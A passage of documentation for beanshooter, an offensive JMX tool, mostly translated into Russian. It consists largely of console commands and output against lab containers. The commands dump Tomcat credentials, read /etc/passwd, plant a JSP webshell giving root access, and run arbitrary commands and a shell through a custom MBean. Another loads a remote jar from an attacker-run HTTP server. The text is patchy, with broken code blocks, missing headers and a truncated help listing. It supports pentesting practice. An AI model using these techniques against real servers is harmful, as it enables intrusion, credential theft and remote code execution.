Действие info выводит информацию о методах и атрибутах указанного MBean:```console
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
#### Generic Invoke
Действие `invoke` может быть использовано для вызова произвольного метода на указанном *MBean*:```console
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabase
Действие stats выводит общую информацию об указанном MBean. Это информация, которую beanshooters хранит локально для соответствующего MBean, и не требуется взаимодействия с сервером.```console
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)
Информация `Jar File` указывает, встроена ли реализация соответствующего *MBean* в *beanshooter*. Этот jar-файл используется во время развертывания, если он не переопределен с помощью опции `--jar-file`. В настоящее время *TonkaBean* — единственный *MBean*, для которого доступен *Jar File*.
#### Общий статус
Действие `status` проверяет, доступен ли соответствующий *MBean* в службе *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployed
Действие отмены развертывания удаляет указанный MBean из удаленной службы JMX:```console [qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010 [+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer. [+] MBean was successfully removed.
### Диагностика
---
*DiagnosticCommandMBean* — это полезный *MBean*, который часто развернут по умолчанию на *JMX-серверах*.
Он реализует несколько различных методов, представляющих интерес с атакующей точки зрения. Некоторые
из них реализованы как операции *beanshooter*. Другие, конечно, можно вызывать вручную.
#### Чтение диагностики
Операция `read` может использоваться для чтения текстовых файлов на *MBean-сервере*. Операция использует
метод `addCompilerDirective`, чтобы вызвать исключение, содержащее содержимое указанного
текстового файла:```console
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
Эта техника изначально была реализована @TheLaluka в составе jolokia-exploitation-toolkit.
Операция load может быть использована для загрузки разделяемой библиотеки из файловой системы JMX-сервера:```console
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.
#### Диагностический лог-файл
Действие `logfile` можно использовать для изменения местоположения лог-файла *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.log
Действие nolog можно использовать для отключения журналирования (полезно для закрытия дескриптора файла журнала):```console
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.
#### Диагностическая cmdline
Действие `cmdline` выводит командную строку, с которой был запущен *JVM*:```console
[qtc@devbox ~]$ beanshooter diagnostic cmdline 172.17.0.2 1090
VM Arguments:
jvm_args: --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=/usr/local/tomcat/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -Dignore.endorsed.dirs= -Dcatalina.base=/usr/local/tomcat -Dcatalina.home=/usr/local/tomcat -Djava.io.tmpdir=/usr/local/tomcat/temp -Djava.rmi.server.hostname=iinsecure.example -Djavax.net.ssl.keyStorePassword=password -Djavax.net.ssl.keyStore=/opt/store.p12 -Djavax.net.ssl.keyStoreType=pkcs12 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.local.only=false -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.port=1090 -Dcom.sun.management.jmxremote.rmi.port=1099
java_command: org.apache.catalina.startup.Bootstrap start
java_class_path (initial): /usr/local/tomcat/bin/bootstrap.jar:/usr/local/tomcat/bin/tomcat-juli.jar
Launcher Type: SUN_STANDARD
Действие props выводит список системных свойств:```console
[qtc@devbox ~]$ beanshooter diagnostic props 172.17.0.2 1090
#Mon Jul 25 19:17:52 UTC 2022
com.sun.management.jmxremote.rmi.port=1099
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
...
### HotSpot
---
Интерфейс *HotSpotDiagnosticMXBean* предоставляет интерфейс для управления *виртуальной машиной HotSpot* и поддерживает некоторые методы, полезные с точки зрения атакующего.
#### Дамп HotSpot
Действие `dump` создает heapdump и сохраняет его в произвольное место на сервере приложений.
Единственное требование — дамп должен быть сохранен в файл с расширением `.hprof`:```console
[qtc@devbox ~]$ beanshooter hotspot dump 172.17.0.2 1090 /tmp/dump.hprof
[+] Heapdump file /tmp/dump.hprof was created successfully.
Действие list выводит список доступных диагностических опций и их соответствующих значений:```console
[qtc@devbox ~]$ beanshooter hotspot list 172.17.0.2 1090
[+] HeapDumpBeforeFullGC (value = false, writable = true)
[+] HeapDumpAfterFullGC (value = false, writable = true)
[+] HeapDumpOnOutOfMemoryError (value = false, writable = true)
[+] HeapDumpPath (value = , writable = true)
...
#### HotSpot get
Действие `get` позволяет получить значение указанного параметра:```console
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: false
[+] Writable: true
Действие set позволяет установить значение указанного параметра:```console
[qtc@devbox ~]$ beanshooter hotspot set 172.17.0.2 1090 HeapDumpBeforeFullGC true
[+] Option was set successfully.
[qtc@devbox ~]$ beanshooter hotspot get 172.17.0.2 1090 HeapDumpBeforeFullGC
[+] Name: HeapDumpBeforeFullGC
[+] Value: true
[+] Writable: true
### MLet
---
*MLetMBean* — это хорошо известный *MBean*, который можно использовать для загрузки дополнительных *MBean* через
сеть. Он уже неявно используется в действии `deploy` *beanshooters*, но также может быть вызван
вручную с помощью операции `mlet`.
#### MLet Load
Единственный на данный момент реализованный метод *MLet* — это операция `load`, которая может использоваться для загрузки
класса *MBean* из указанного пользователем *URL*:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /3584de270132420aaf0812366bc46035
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 3584de270132420aaf0812366bc46035
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /3584de270132420aaf0812366bc46035
[+] Sending jar file with md5sum: b2f7040f7d8f2d1f40b205d631ff7356
[+]
[+] MBean was loaded successfully.
В приведенном выше примере показано, как можно вручную загрузить TonkaBean с помощью операции mlet. Если
вы хотите загрузить вместо этого пользовательский MBean, вам нужно указать ключевое слово custom вместо tonka и предоставить
параметры --class-name, --object-name и --jar-file:```console
[qtc@devbox ~]$ beanshooter mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name de.qtc.beanshooter.ExampleBean --object-name ExampleBean:name=ExampleBean,id=1 --jar-file www/example.jar
[+] Starting MBean deployment.
[+] ...
[+] MBean was loaded successfully.
### Recoder
---
*FlightRecorderMXBean* предоставляет интерфейс для управления *Flight Recorder* и поддерживает некоторые методы, которые интересны с наступательной точки зрения.
#### Recoder new
Операция `new` запускает новую запись. Полученный идентификатор записи может использоваться как цель для других операций:```console
[qtc@devbox ~]$ beanshooter recorder new 172.17.0.2 1090
[+] Requesting new recording on the MBeanServer.
[+] New recording created successfully with ID: 1
Действие start запускает уже существующую запись и ожидает идентификатор записи в качестве дополнительного аргумента:```console
[qtc@devbox ~]$ beanshooter recorder start 172.17.0.2 1090 1
[+] Recording with ID 1 started successfully.
#### Recoder дамп
Пока запись активна, её содержимое может быть выгружено с помощью действия `dump`. Это сохраняет информацию о записи в файл дампа на *JMX-сервере*.```console
[qtc@devbox ~]$ beanshooter recorder dump 172.17.0.2 1090 1 /tmp/dump.dat
[+] Recording with ID 1 was successfully dumped to /tmp/dump.dat
Действие stop может быть использовано для остановки записи:```console
[qtc@devbox ~]$ beanshooter recorder stop 172.17.0.2 1090 1
[+] Recording with ID 1 stopped successfully.
#### Сохранение записи
После остановки записи её можно сохранить с помощью действия `save`. В отличие от действия `dump`, это сохраняет запись на локальной машине, а не на сервере приложений.```console
[qtc@devbox ~]$ beanshooter recorder save 172.17.0.2 1090 1 recording.dat
[+] Saving recording with ID: 1
[+] Writing recording data to: /home/qtc/recording.dat
Операция tomcat взаимодействует с MemoryUserDatabaseMBean сервера Apache Tomcat. Этот MBean предоставляет доступ к учетным записям пользователей, доступным на сервисе Tomcat.
Действие dump выгружает имена пользователей и пароли, доступные на сервере Tomcat, в локальные файлы.
При вызове с одним аргументом учетные данные выгружаются в формате <username>:<password>:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 creds.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/creds.txt
[qtc@devbox ~]$ cat creds.txt
manager:P@55w0rD#
admin:s3cr3T!$
status:[email protected]
При вызове с двумя аргументами имена пользователей сохраняются в первом указанном месте, пароли — во втором:```console
[qtc@devbox ~]$ beanshooter tomcat dump 172.17.0.2 1090 users.txt passwords.txt
[+] Dumping credentials...
[+] Users dumped to /home/qtc/users.txt
[+] Passwords dumped to /home/qtc/passwords.txt
Операция list выводит список доступных учетных записей пользователей, их связанных ролей и учетных данных:```console
[qtc@devbox ~]$ beanshooter tomcat list 172.17.0.2 1090
[+] Listing tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: status
[+] Password: [email protected]
[+] Roles:
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
#### Tomcat Write
Операция `write` записывает частично контролируемый файл в произвольное местоположение на сервере приложения. Это действие может быть использовано для надежного развертывания веб-шелла на службе *Tomcat*:```console
[qtc@devbox ~]$ beanshooter tomcat write 172.17.0.2 1090 /opt/webshell-cli/webshells/webshell.jsp /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Writing local file /opt/webshell-cli/webshells/webshell.jsp to server location /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Current user database is at conf/tomcat-users.xml
[+] Current user database is readonly
[+] Adjusting readonly property to make it writable.
[+] Changing database path to /usr/local/tomcat/webapps/ROOT/shell.jsp
[+] Creating new role containing the local file content.
[+] Saving modified user database.
[+] Restoring readonly property.
[+] Restoring pathname property.
[+] All done.
[qtc@devbox ~]$ webshell-cli http://172.17.0.2:8080/shell.jsp
[root@d475fdb21692 /usr/local/tomcat]$ id
uid=0(root) gid=0(root) groups=0(root)
The write action abuses an encoding bug within the UserDatabase MBean of Apache Tomcat. We reported
the bug, but it was not considered a security vulnerability. For writing to arbitrary locations, beanshooter
needs to change the location of the UserDatabase. All changes are restored, after the desired file was written,
but still be careful in production environments.
The TonkaBean is a custom MBean that is implemented by the beanshooter project and allows
file system access and command execution on the JMX server. Its actions can be accessed by
using the tonka operation, followed by the desired action.
The exec action can be used to invoke a single command on the JMX service:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 id
[+] Invoking the executeCommand method with argument: id
[+] The call was successful
[+]
[+] Server response:
uid=0(root) gid=0(root) groups=0(root)
Последний аргумент операции exec должен быть строкой. Когда параметр `--shell` не используется, эта строка разбивается по пробелам (с учетом кавычек) и передается в виде массива классу `ProcessBuilder` на стороне сервера.
Если используется `--shell`, указанная строка оболочки разбивается по пробелам, и полученный массив объединяется с указанной строкой аргументов перед передачей классу `ProcessBuilder`. Это позволяет выполнять команды, подобно оболочке, с корректной интерпретацией специальных символов оболочки:```console
[qtc@devbox ~]$ beanshooter tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOSTNAME
[+] The call was successful
[+]
[+] Server response:
fee2d783023b
Для удобства, обычные оболочки автоматически дополняются требуемым строковым аргументом команды.
Следовательно, --shell ash автоматически преобразуется в --shell 'ash -c'.
Операция execarray очень похожа на действие exec, но вместо того, чтобы ожидать строку в качестве аргумента
и разбивать эту строку по пробелам для построения массива команд, операция execarray позволяет указать несколько
аргументов, которые напрямую используются как массив команд для класса ProcessBuilder:```console
[qtc@devbox ~]$ beanshooter tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
[+] Invoking the executeCommand method with argument: ash -c echo $HOME
[+] The call was successful
[+]
[+] Server response:
/root
#### Tonka Shell
Действие `shell` порождает командную оболочку, в которой можно задавать команды, выполняемые на сервере *JMX*. Оболочка не является полностью интерактивной и представляет собой обёртку вокруг метода `Runtime.exec` в *Java*. Однако реализована базовая поддержка переменных окружения и текущей рабочей директории:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)
[[email protected] /]$ cd /home
[[email protected] /home]$ !env test=example
[[email protected] /home]$ echo $test
example
Приведенный выше пример демонстрирует, как установить переменные окружения с помощью ключевого слова !env. Помимо этого ключевого слова доступны несколько других:```console
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ !help
Available shell commands:
execute the specified command
cd
#### Tonka Upload
Действие `upload` можно использовать для загрузки файла на сервер *JMX*:```console
[qtc@devbox ~]$ beanshooter tonka upload 172.17.0.2 9010 file.dat /tmp
[+] Uploading local file /home/qtc/file.dat to path /tmp on the MBeanSerer.
[+] 33 bytes were written to /tmp/file.dat
Действие download можно использовать для загрузки файла с сервера JMX:```console
[qtc@devbox ~]$ beanshooter tonka download 172.17.0.2 9010 /etc/passwd
[+] Saving remote file /etc/passwd to local path /home/qtc/passwd
[+] 1172 bytes were written to /home/qtc/passwd
### JMXMP
---
Сервисы *JMX* могут использовать различные типы коннекторов. Наиболее часто используемым коннектором является *Java RMI*, который обеспечивает доступ к *JMX* на основе протокола *Java RMI*. Другой популярный коннектор — *JMX Message Protocol* (*JMXMP*), который, несмотря на свою устарелость, все еще довольно часто встречается. *beanshooter* имеет встроенную поддержку *JMXMP* и пытается подключиться через *JMXMP* при использовании опции `--jmxmp`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4444 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server does not use SASL.
[+] Login is possible without specifying credentials.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
[+]
[+] Checking available MBeans:
[+]
[+] - 22 MBeans are currently registred on the MBean server.
[+] Found 0 non default MBeans.
Аутентифицированные конечные точки JMXMP обычно защищены с помощью SASL. При включенном SASL конечная точка JMX обычно требует, чтобы клиент подключался с определенным SASL-профилем. Доступные профили для beanshooter:
Каждый из них может быть дополнительно объединен с TLS с помощью опции --ssl. При использовании действия enum на защищенном SASL
JMXMP конечной точке, beanshooter пытается перечислить требуемый SASL-профиль. В то время как определение необходимого SASL
механизма обычно возможно, требуемую настройку TLS перечислить нельзя:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4449 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/NTLM SASL profile.
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - JMXMP serial check is work in progress but endpoints are usually vulnerable.
[+] Configuration Status: Undecided
### Поддержка Jolokia
---
Начиная с *v4.0.0*, *beanshooter* поддерживает конечные точки JMX на основе [Jolokia](https://github.com/rhuss/jolokia). Установление соединений с конечной точкой на основе *Jolokia* требует обычного формата цели и флага `--jolokia`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 8080 --jolokia --username manager --password admin
[+] Checking specified credentials:
[+]
[+] - Login successful! The specified credentials are correct.
[+] Username: manager - Password: admin
[+]
[+] Checking Jolokia Version:
[+]
[+] - Agent Version 1.7.1 - Protocol Version: 7.2
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking whether Jolokia Proxy Mode is enabled:
[+]
[+] - Jolokia Proxy Mode is enabled! You may connect to backend JMX services.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 75 MBeans are currently registred on the MBean server.
[+] Listing 56 non default MBeans:
...
Из-за ограниченного набора функций Jolokia не все операции beanshooter поддерживаются. Пожалуйста, обратитесь к FAQ по Jolokia, если у вас есть вопросы. Для экспериментов с Jolokia beanshooter предоставляет пример сервера, который предоставляет конечную точку Jolokia на порту 8080. Кроме того, обычная конечная точка JMX на основе RMI доступна на порту 1090.
Начиная с версии v3.1.1, beanshooter также доступен в виде образа Docker и может быть загружен из GitHub Container Registry. Для каждого релиза доступна обычная и облегченная версия. Обе предоставляют полноценную работающую версию beanshooter, но только обычная версия включает ysoserial, что приводит к большему размеру образа:
docker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0 - 124MBdocker pull ghcr.io/qtc-de/beanshooter/beanshooter:4.1.0-slim - 64.8MBВы также можете собрать контейнер самостоятельно, выполнив следующие команды:```console [user@host ~]$ git clone https://github.com/qtc-de/beanshooter [user@host ~]$ cd beanshooter && docker build -t beanshooter .
### Пример сервера
---


Большинство приведённых выше примеров основаны на [jmx-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Fjmx-example-server)
и [tomcat-example-server](https://github.com/qtc-de/beanshooter/pkgs/container/beanshooter%2Ftomcat-example-server).
Эти серверы находятся в этом репозитории в папке [docker](https://github.com/qtc-de/beanshooter/blob/HEAD/docker) и могут использоваться для практики работы с перечислением *JMX*.
Вы можете либо самостоятельно собрать соответствующие контейнеры, либо загрузить их напрямую из *GitHub Container Registry*.
Авторские права 2023, Tobias Neitzel и участники *beanshooter*.